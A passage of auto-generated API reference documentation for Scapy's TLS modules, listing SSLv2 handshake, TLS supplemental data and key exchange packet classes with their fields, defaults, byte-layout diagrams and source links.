class scapy.layers.tls.handshake.TLSSupplementalData(_pkt, /, *, msgtype=23, msglen=None, sdatalen=None, sdata=[])[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/handshake.py#L1610-L1616]

	Bases: _TLSHandshake


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|    MSGTYPE    |                     MSGLEN                    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |                    SDATALEN                   |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |             SDATA             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                     Fig. TLSSupplementalData                     


TLSSupplementalData fields






	msgtype

	ByteEnumField

	23



	msglen

	ThreeBytesField

	None



	sdatalen

	ThreeBytesLenField

	None



	sdata

	PacketListField

	[]















	
class scapy.layers.tls.handshake.ThreeBytesLenField(name, default, length_of=None, adjust=<function ThreeBytesLenField.<lambda>>)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/handshake.py#L1531-L1545]

	Bases: FieldLenField


	
addfield(pkt, s, val)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/handshake.py#L1541-L1542]

	




	
getfield(pkt, s)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/handshake.py#L1544-L1545]

	




	
i2repr(pkt, x)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/handshake.py#L1536-L1539]

	








	
class scapy.layers.tls.handshake.URLAndOptionalHash(_pkt, /, *, urllen=None, url=b'', hash_present=None, hash=b'')[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/handshake.py#L1499-L1511]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|             URLLEN            |              URL              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|  HASH PRESENT |              HASH             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                     Fig. URLAndOptionalHash                      


URLAndOptionalHash fields






	urllen

	FieldLenField

	None



	url

	StrLenField

	b''



	hash_present

	FieldLenField

	None



	hash

	StrLenField

	b''











	
guess_payload_class(p)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/handshake.py#L1510-L1511]

	








	
class scapy.layers.tls.handshake.UserMappingData(_pkt, /, *, version=None, len=None, data=b'')[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/handshake.py#L1586-L1594]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|    VERSION    |              LEN              |      DATA     |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |
+-+-+-+-+-+-+-+-+

                       Fig. UserMappingData                       


UserMappingData fields






	version

	ByteField

	None



	len

	FieldLenField

	None



	data

	StrLenField

	b''











	
guess_payload_class(p)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/handshake.py#L1593-L1594]

	










            

          

      

      

    

  

    
      
          
            
  
scapy.layers.tls.handshake_sslv2

SSLv2 handshake fields & logic.


	
class scapy.layers.tls.handshake_sslv2.SSLv2ClientCertificate(_pkt, /, *, msgtype=8, certtype=1, certlen=None, responselen=None, certdata=b'', responsedata=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/handshake_sslv2.py#L434-L490]

	Bases: _SSLv2Handshake

SSLv2 ClientCertificate.


	
aliastypes

	




	
build(*args, **kargs)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/handshake_sslv2.py#L452-L468]

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|    MSGTYPE    |    CERTTYPE   |            CERTLEN            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|          RESPONSELEN          |            CERTDATA           |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|          RESPONSEDATA         |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                   Fig. SSLv2ClientCertificate                    


SSLv2ClientCertificate fields






	msgtype

	ByteEnumField

	8



	certtype

	ByteEnumField

	1



	certlen

	FieldLenField

	None



	responselen

	FieldLenField

	None



	certdata

	_SSLv2CertDataField

	b''



	responsedata

	_TLSSignatureField

	None











	
post_dissection_tls_session_update(msg_str)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/handshake_sslv2.py#L470-L485]

	




	
tls_session_update(msg_str)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/handshake_sslv2.py#L487-L490]

	








	
class scapy.layers.tls.handshake_sslv2.SSLv2ClientFinished(_pkt, /, *, msgtype=3, connection_id=b'')[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/handshake_sslv2.py#L497-L517]

	Bases: _SSLv2Handshake

In order to parse a ClientFinished, the exact message string should be fed
to the class. SSLv2 does not offer any other way to know the c_id length.


	
aliastypes

	




	
build(*args, **kargs)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/handshake_sslv2.py#L506-L510]

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|    MSGTYPE    |         CONNECTION ID         |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                     Fig. SSLv2ClientFinished                     


SSLv2ClientFinished fields






	msgtype

	ByteEnumField

	3



	connection_id

	XStrField

	b''











	
post_dissection(pkt)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/handshake_sslv2.py#L512-L517]

	








	
class scapy.layers.tls.handshake_sslv2.SSLv2ClientHello(_pkt, /, *, msgtype=1, version=2, cipherslen=None, sidlen=None, challengelen=None, sid=b'', ciphers=[458944], challenge=b'')[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/handshake_sslv2.py#L102-L130]

	Bases: _SSLv2Handshake

SSLv2 ClientHello.


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|    MSGTYPE    |            VERSION            |   CIPHERSLEN  |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |             SIDLEN            |  CHALLENGELEN |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |              SID              |    CIPHERS    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |           CHALLENGE           |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                      Fig. SSLv2ClientHello                       


SSLv2ClientHello fields






	msgtype

	ByteEnumField

	1



	version

	_TLSVersionField

	2



	cipherslen

	FieldLenField

	None



	sidlen

	FieldLenField

	None



	challengelen

	FieldLenField

	None



	sid

	XStrLenField

	b''



	ciphers

	_SSLv2CipherSuitesField

	[458944]



	challenge

	XStrLenField

	b''











	
tls_session_update(msg_str)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/handshake_sslv2.py#L126-L130]

	








	
class scapy.layers.tls.handshake_sslv2.SSLv2ClientMasterKey(_pkt, /, *, msgtype=2, cipher=None, clearkeylen=None, encryptedkeylen=None, keyarglen=None, clearkey=b'', encryptedkey=b'', keyarg=b'')[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/handshake_sslv2.py#L236-L381]

	Bases: _SSLv2Handshake

SSLv2 ClientMasterKey.


	
aliastypes

	




	
decryptedkey

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|    MSGTYPE    |             CIPHER            |  CLEARKEYLEN  |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |        ENCRYPTEDKEYLEN        |   KEYARGLEN   |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |            CLEARKEY           |  ENCRYPTEDKEY |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |             KEYARG            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                    Fig. SSLv2ClientMasterKey                     


SSLv2ClientMasterKey fields






	msgtype

	ByteEnumField

	2



	cipher

	_SSLv2CipherSuiteField

	None



	clearkeylen

	FieldLenField

	None



	encryptedkeylen

	FieldLenField

	None



	keyarglen

	FieldLenField

	None



	clearkey

	XStrLenField

	b''



	encryptedkey

	_SSLv2EncryptedKeyField

	b''



	keyarg

	XStrLenField

	b''











	
post_build(pkt, pay)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/handshake_sslv2.py#L283-L345]

	




	
pre_dissect(s)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/handshake_sslv2.py#L271-L281]

	




	
tls_session_update(msg_str)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/handshake_sslv2.py#L347-L381]

	








	
class scapy.layers.tls.handshake_sslv2.SSLv2Error(_pkt, /, *, msgtype=0, code=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/handshake_sslv2.py#L68-L74]

	Bases: _SSLv2Handshake

SSLv2 Error.


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|    MSGTYPE    |              CODE             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                         Fig. SSLv2Error                          


SSLv2Error fields






	msgtype

	ByteEnumField

	0



	code

	ShortEnumField

	None















	
class scapy.layers.tls.handshake_sslv2.SSLv2RequestCertificate(_pkt, /, *, msgtype=7, authtype=1, challenge=b'')[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/handshake_sslv2.py#L415-L427]

	Bases: _SSLv2Handshake

In order to parse a RequestCertificate, the exact message string should be
fed to the class. This is how SSLv2 defines the challenge length…


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|    MSGTYPE    |    AUTHTYPE   |           CHALLENGE           |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                   Fig. SSLv2RequestCertificate                   


SSLv2RequestCertificate fields






	msgtype

	ByteEnumField

	7



	authtype

	ByteEnumField

	1



	challenge

	XStrField

	b''











	
tls_session_update(msg_str)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/handshake_sslv2.py#L425-L427]

	








	
class scapy.layers.tls.handshake_sslv2.SSLv2ServerFinished(_pkt, /, *, msgtype=6, sid=b'')[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/handshake_sslv2.py#L520-L537]

	Bases: _SSLv2Handshake

In order to parse a ServerFinished, the exact message string should be fed
to the class. SSLv2 does not offer any other way to know the sid length.


	
aliastypes

	




	
build(*args, **kargs)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/handshake_sslv2.py#L529-L533]

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|    MSGTYPE    |              SID              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                     Fig. SSLv2ServerFinished                     


SSLv2ServerFinished fields






	msgtype

	ByteEnumField

	6



	sid

	XStrField

	b''











	
post_dissection_tls_session_update(msg_str)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/handshake_sslv2.py#L535-L537]

	








	
class scapy.layers.tls.handshake_sslv2.SSLv2ServerHello(_pkt, /, *, msgtype=4, sid_hit=0, certtype=1, version=2, certlen=None, cipherslen=None, connection_idlen=None, cert=b'', ciphers=[], connection_id=b'')[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/handshake_sslv2.py#L161-L199]

	Bases: _SSLv2Handshake

SSLv2 ServerHello.


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|    MSGTYPE    |    SID HIT    |    CERTTYPE   |    VERSION    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |            CERTLEN            |   CIPHERSLEN  |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |        CONNECTION IDLEN       |      CERT     |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |            CIPHERS            | CONNECTION ID |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |
+-+-+-+-+-+-+-+-+

                      Fig. SSLv2ServerHello                       


SSLv2ServerHello fields






	msgtype

	ByteEnumField

	4



	sid_hit

	ByteField

	0



	certtype

	ByteEnumField

	1



	version

	_TLSVersionField

	2



	certlen

	FieldLenField

	None



	cipherslen

	FieldLenField

	None



	connection_idlen

	FieldLenField

	None



	cert

	_SSLv2CertDataField

	b''



	ciphers

	_SSLv2CipherSuitesField

	[]



	connection_id

	XStrLenField

	b''











	
tls_session_update(msg_str)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/handshake_sslv2.py#L186-L199]

	XXX Something should be done about the session ID here.










	
class scapy.layers.tls.handshake_sslv2.SSLv2ServerVerify(_pkt, /, *, msgtype=5, challenge=b'')[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/handshake_sslv2.py#L388-L408]

	Bases: _SSLv2Handshake

In order to parse a ServerVerify, the exact message string should be
fed to the class. This is how SSLv2 defines the challenge length…


	
aliastypes

	




	
build(*args, **kargs)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/handshake_sslv2.py#L397-L401]

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|    MSGTYPE    |           CHALLENGE           |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                      Fig. SSLv2ServerVerify                      


SSLv2ServerVerify fields






	msgtype

	ByteEnumField

	5



	challenge

	XStrField

	b''











	
post_dissection(pkt)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/handshake_sslv2.py#L403-L408]

	










            

          

      

      

    

  

    
      
          
            
  
scapy.layers.tls.keyexchange

TLS key exchange logic.


	
class scapy.layers.tls.keyexchange.ClientDiffieHellmanPublic(_pkt, /, *, dh_Yclen=None, dh_Yc=b'')[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/keyexchange.py#L725-L788]

	Bases: _GenericTLSSessionInheritance

If the user provides a value for dh_Yc attribute, we assume he will set
the pms and ms accordingly and trigger the key derivation on his own.

XXX As specified in 7.4.7.2. of RFC 4346, we should distinguish the needs
for implicit or explicit value depending on availability of DH parameters
in client certificate. For now we can only do ephemeral/explicit DH.


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|            DH YCLEN           |             DH YC             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                  Fig. ClientDiffieHellmanPublic                  


ClientDiffieHellmanPublic fields






	dh_Yclen

	FieldLenField

	None



	dh_Yc

	StrLenField

	b''











	
fill_missing(**kwargs: Any) → Any[source] [https://github.com/secdev/scapy/blob/master/scapy/config.py#L1165-L1170]

	




	
guess_payload_class(p)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/keyexchange.py#L787-L788]

	




	
post_build(pkt, pay)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/keyexchange.py#L756-L764]

	




	
post_dissection(m)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/keyexchange.py#L766-L785]

	First we update the client DHParams. Then, we try to update the server
DHParams generated during Server*DHParams building, with the shared
secret. Finally, we derive the session keys and update the context.










	
class scapy.layers.tls.keyexchange.ClientECDiffieHellmanPublic(_pkt, /, *, ecdh_Yclen=None, ecdh_Yc=b'')[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/keyexchange.py#L791-L858]

	Bases: _GenericTLSSessionInheritance

Note that the ‘len’ field is 1 byte longer than with the previous class.


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|   ECDH YCLEN  |            ECDH YC            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                 Fig. ClientECDiffieHellmanPublic                 


ClientECDiffieHellmanPublic fields






	ecdh_Yclen

	FieldLenField

	None



	ecdh_Yc

	StrLenField

	b''











	
fill_missing(**kwargs: Any) → Any[source] [https://github.com/secdev/scapy/blob/master/scapy/config.py#L1165-L1170]

	




	
post_build(pkt, pay)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/keyexchange.py#L834-L842]

	




	
post_dissection(m)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/keyexchange.py#L844-L858]

	








	
class scapy.layers.tls.keyexchange.ClientPSKIdentity(_pkt, /, *, psk_identity_len=None, psk_identity=b'')[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/keyexchange.py#L961-L972]

	Bases: Packet

XXX We provide parsing abilities for ServerPSKParams, but the context
operations have not been implemented yet. See RFC 4279.
Note that we do not cover the (EC)DHE_PSK nor the RSA_PSK key exchange,
which should contain either an EncryptedPMS or a ClientDiffieHellmanPublic.


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|        PSK IDENTITY LEN       |          PSK IDENTITY         |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                      Fig. ClientPSKIdentity                      


ClientPSKIdentity fields






	psk_identity_len

	FieldLenField

	None



	psk_identity

	StrLenField

	b''















	
class scapy.layers.tls.keyexchange.ECCurvePkt(_pkt, /, *, alen=None, a=b'', blen=None, b=b'')[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/keyexchange.py#L405-L410]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|      ALEN     |               A               |      BLEN     |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               B               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                         Fig. ECCurvePkt                          


ECCurvePkt fields






	alen

	FieldLenField

	None



	a

	StrLenField

	b''



	blen

	FieldLenField

	None



	b

	StrLenField

	b''















	
class scapy.layers.tls.keyexchange.ECPentanomialBasis(_pkt, /, *, k1len=None, k1=b'', k2len=None, k2=b'', k3len=None, k3=b'')[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/keyexchange.py#L425-L436]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|     K1LEN     |               K1              |     K2LEN     |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               K2              |     K3LEN     |       K3      |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |
+-+-+-+-+-+-+-+-+

                     Fig. ECPentanomialBasis                      


ECPentanomialBasis fields






	k1len

	FieldLenField

	None



	k1

	StrLenField

	b''



	k2len

	FieldLenField

	None



	k2

	StrLenField

	b''



	k3len

	FieldLenField

	None



	k3

	StrLenField

	b''











	
guess_payload_class(p)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/keyexchange.py#L435-L436]

	




	
val = 1

	








	
class scapy.layers.tls.keyexchange.ECTrinomialBasis(_pkt, /, *, klen=None, k=b'')[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/keyexchange.py#L415-L422]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|      KLEN     |               K               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                      Fig. ECTrinomialBasis                       


ECTrinomialBasis fields






	klen

	FieldLenField

	None



	k

	StrLenField

	b''











	
guess_payload_class(p)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/keyexchange.py#L421-L422]

	




	
val = 0

	








	
class scapy.layers.tls.keyexchange.EncryptedPreMasterSecret(_pkt, /, *, client_version=None, random=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/keyexchange.py#L875-L956]

	Bases: _GenericTLSSessionInheritance

Pay attention to implementation notes in section 7.4.7.1 of RFC 5246.


	
aliastypes

	




	
classmethod dispatch_hook(_pkt=None, *args, **kargs)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/keyexchange.py#L884-L890]

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|         CLIENT VERSION        |             RANDOM            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                  Fig. EncryptedPreMasterSecret                   


EncryptedPreMasterSecret fields






	client_version

	_TLSClientVersionField

	None



	random

	StrFixedLenField

	None











	
guess_payload_class(p)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/keyexchange.py#L955-L956]

	




	
post_build(pkt, pay)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/keyexchange.py#L926-L953]

	We encrypt the premaster secret (the 48 bytes) with either the server
certificate or the temporary RSA key provided in a server key exchange
message. After that step, we add the 2 bytes to provide the length, as
described in implementation notes at the end of section 7.4.7.1.






	
pre_dissect(m)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/keyexchange.py#L892-L924]

	








	
class scapy.layers.tls.keyexchange.ServerDHParams(_pkt, /, *, dh_plen=None, dh_p=b'', dh_glen=None, dh_g=b'', dh_Yslen=None, dh_Ys=b'')[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/keyexchange.py#L301-L393]

	Bases: _GenericTLSSessionInheritance

ServerDHParams for FFDH-based key exchanges, as defined in RFC 5246/7.4.3.

Either with .fill_missing() or .post_dissection(), the server_kx_privkey or
server_kx_pubkey of the TLS context are updated according to the
parsed/assembled values. It is the user’s responsibility to store and
restore the original values if he wants to keep them. For instance, this
could be done between the writing of a ServerKeyExchange and the receiving
of a ClientKeyExchange (which includes secret generation).


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|            DH PLEN            |              DH P             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|            DH GLEN            |              DH G             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|            DH YSLEN           |             DH YS             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                       Fig. ServerDHParams                        


ServerDHParams fields






	dh_plen

	FieldLenField

	None



	dh_p

	StrLenField

	b''



	dh_glen

	FieldLenField

	None



	dh_g

	StrLenField

	b''



	dh_Yslen

	FieldLenField

	None



	dh_Ys

	StrLenField

	b''











	
fill_missing(**kwargs: Any) → Any[source] [https://github.com/secdev/scapy/blob/master/scapy/config.py#L1165-L1170]

	




	
guess_payload_class(p)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/keyexchange.py#L387-L393]

	The signature after the params gets saved as Padding.
This way, the .getfield() which _TLSServerParamsField inherits
from PacketField will return the signature remain as expected.






	
